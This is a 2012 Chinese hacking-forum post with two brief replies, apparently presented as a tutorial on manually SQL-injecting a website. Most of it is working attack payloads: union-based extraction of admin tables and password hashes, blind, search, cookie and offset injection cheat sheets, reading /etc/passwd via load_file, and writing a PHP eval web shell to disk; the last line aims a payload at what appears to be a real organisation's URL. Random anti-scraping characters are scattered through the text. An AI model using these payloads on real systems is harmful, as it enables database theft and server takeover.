找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2886|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
% W& |, N  z* {7 w让我看看,既然人家开口了,我也不好拒绝,那就看看吧?3 x/ W; L* g/ t( d4 s
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。! b! a  d- L9 R$ a% N
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
7 Q, O  Q( q& c3 L5 W1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
! ^! M% `6 w+ n. v; ^2 u这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:% M3 ~5 o! B! i& ?/ {, j
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
+ M0 g1 J% Z  B/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入1 D5 o; G* S; ?% Z* Z7 c
                        
) g  r+ S# V7 k% |+ q7 L" p2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,6 `0 h3 c7 U" y0 w+ A
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意: B* P/ c* [& E( b* g; ~0 k
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
8 Y  ~/ P7 W( p2 B7 e; d& s- l5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。) l, _  ^1 F6 z  b: O
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
, A* _3 Y7 P4 q5 O4 W2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
/ ~6 _- U) u7 H5 X& `5 L我就用的是第二个思路,2 r2 o# _" X. D  t2 _
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  6 g$ X5 X4 E( {; ?$ H* L
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
/ d9 }: N' E) T+ k' p1 r提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
; n. N5 k; H" o- s5 ^$ }7 V* a注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。" W) g5 U$ ]5 C9 r7 N. H7 M
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????7 L) f; Q  ?2 l. Y; s- A6 q' m
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
, W8 G8 A% Z# ]/ H; [- p提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --5 @4 U. Y; I& U+ W
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,. _% @+ w( d6 S: Y
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
& F' U1 v, Q+ S  C/ q* V  ?: [下面是一些很普遍注入方式资料:
/ Q6 a/ q3 y% B注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='! `! t" y5 W6 v# m, n3 T/ P& d  R; e
拆半法, Q+ Q; G2 d5 N) g* Z/ V* `
######################################
( V$ ~, d& \% Zand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
) }  y. X$ G  d# o  tand exists (select * from admin)
: P: r% n1 ?3 xand exists(select id from admin)7 B2 V$ I1 v8 F2 Q( M7 S9 b$ T
and exists(select id from admin where id=1)  u# D2 P- F1 U. h% s8 l# e
and exists(select id from admin where id>1)
! W9 l1 l& G, Q  F: S然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
+ l+ m0 O: j( }7 ]( y; Dand exists (select username from admin)
5 o- C& E( e3 ^0 W# I( fand exists (select password from admin)
  O# r( b2 W- Y0 e  n! j! Pand exists (select id from admin where len(username)<10 and id=1)
, P- V& I4 H3 h; mand exists (select id from admin where len(username)>5 and id=1)
& T. t- ?/ _* b. x. W- land exists (select id from admin where len(username)=6 and id=1)
" J8 I7 e" E" ]6 Xand exists (select id from admin where len(password)<10 and id=1)0 f8 b- s  m# y* h, x; X- T$ f- V' r
and exists (select id from admin where len(password)>5 and id=1)5 u2 Q# W: B% |1 [$ n" a4 i# k9 `+ f
and exists (select id from admin where len(password)=7 and id=1)
) w* L( K4 p1 K- d2 }! I' \and (select top 1 asc(mid(username,1,1)) from admin)=97+ G" U' }0 a) E3 _8 I& A3 y  ]
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。( N) x& G: \# h
猜第二位把username,1,1改成username,2,1就可以了。# Z" i+ Z, ?* g0 e! q
猜密码把username改成password就OK了' l9 X* ^1 V* n  H* S; g
##################################################* A) @3 U4 z' e. Y  K
搜索型注入! s' O0 M3 U: w! ]0 `' g" N3 p
##################################+ ], q! G5 d+ Y- Z: n/ H
%' and 1=1 and '%'='
9 D; Y* t$ Z( [: i%' and exists (select * from admin) and '%'='
5 _, y. W3 R6 S& G2 Q: @%' and exists(select id from admin where id=1) and '%'=': y) {" N8 w- n8 {* x8 B
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='/ M( t# F/ P9 w% ]0 N
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
7 a+ f! z- N" [' x%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
9 }9 C# C. `) `" L7 v这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
" e! U; J. }0 X- n2 [对于MSSQL数据库,后面可以吧 and '%'='换成--+ C/ ~) v& X1 q1 j+ a7 i
还有一点搜索型注入也可以使用union语句。
( Z. W0 a0 |1 L* L+ u  w: V########################################################, e( o7 m0 |, h2 ^
联合查询。- T, b5 y5 N1 H2 {6 }4 m7 F! ^
#####################################& P4 [8 V3 m0 Z$ |3 G1 M% K3 n/ R
order by 10
7 t. X. O; y2 P. T2 _; }: Kand 1=2 union select 1,2,3,4,5,6,7,8,9,10
- Y  x2 A! ]$ z' k& F+ @and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin7 Z: `' N" [6 a' a0 r
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1% R, r# T) }( Y$ w- |; y& K
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
0 X0 S0 T; S8 _, i+ L#################################### F  b# r# S* x  t+ n0 ^1 W. \! z6 Z; c
cookie注入/ }, u+ L& w2 I3 K
###############################
3 T$ Q8 H8 t2 _/ c; k( jhttp://www.******.com/shownews.asp?id=127. w2 a- Y; H2 g
http://www.******.com/shownews.asp- v# o6 a2 w3 [9 q
alert(="id="+escape("127"));
3 C/ P0 c( T' R0 o- malert(="id="+escape("127 and 1=1"));
) P' p1 N* \# t+ a7 T2 G5 salert(="id="+escape("127 order by 10"));
$ {  r' i8 X9 f  [2 t8 z& palert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
- W1 x8 w% K, g' h% W/ R' y6 U2 Aalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));9 d" J, ?, E" U  t
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
& I  J+ N* F2 r" ~( C###################################+ I  _+ v- I% y* S; z2 F
偏移注入
! ?' C  s9 r; {###########################################################
$ b! j" k3 ?# \# c2 I. Z* d" d+ }# Hunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin. l5 V- W$ |$ M6 P& q! _
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
! k0 v% f$ F  s7 sunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)/ l+ H* t$ I- p4 ]9 q9 {
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
& _" z& [; v, m1 [/ c1 B+ c/ cunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
7 C. w" E  U" Z$ r( I! |union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
7 `( s( p* \/ V5 S/ `8 Gunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
0 g: z1 r7 b% f' w, _a.id=d.id), P& @+ H9 X* O" n- C4 T
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
& H$ k) \3 J5 k$ Qand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) & n- z, B6 p* _+ T' h
  . l. L$ t  x- C/ c7 T/ x$ {
============================================================================================================
9 \* b- ]3 e- \" @: m5 ^" q2 H3 D) D/ n: a1.判断版本$ x  \9 s0 L& \$ @2 i% |, |
and ord(mid(version(),1,1))>51' C' \& E- @# c
返回正常,说明大于4.0版本,支持ounion查询8 I3 E  `/ V5 D' `4 s, C
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解+ ^. \+ H# J+ s6 ]8 T. l
and 2=4 union select 1,2,3,4,5,6,7,8,9--
. d( T- a. ?# T% y7 l* G3.查看数据库版本及当前用户,. F1 K; R% u* T9 r8 \: V! ?# w9 Y/ I
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--6 s, Q/ P7 S0 K5 i3 k
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
- O! }$ K! s' s3 B' [) m- y$ F8 v4.判断有没有写权限
& h1 }$ M0 K: {* k0 q; nand (select count(*) from MySQL.user)>0-- , E' z% H, n& l7 H6 J
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1+ T+ h% l# ?& @9 w
用不了这个命令,就学习土耳其黑客手法,如下. f* F  p# ?" Q; W; G+ o7 ^' J
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
- |# S6 Y+ H* e9 I& C( i6.爆表,爆库
4 S% g: C" Y: y9 C2 Band+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
4 ?5 m1 t  C8 I8 e; P7.爆列名,爆表8 @9 N8 M6 ~$ D  |5 y
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
5 o* Q: X& u0 ?; J" m4 c8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
  k% n3 c& y- band+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--; l- N: v: Z4 X. [3 q
9.爆字段内容
9 h7 q9 C1 y! Y* l) z+ Aand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--. o5 [) {! B% U9 Y* h9 m& S5 m( A
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表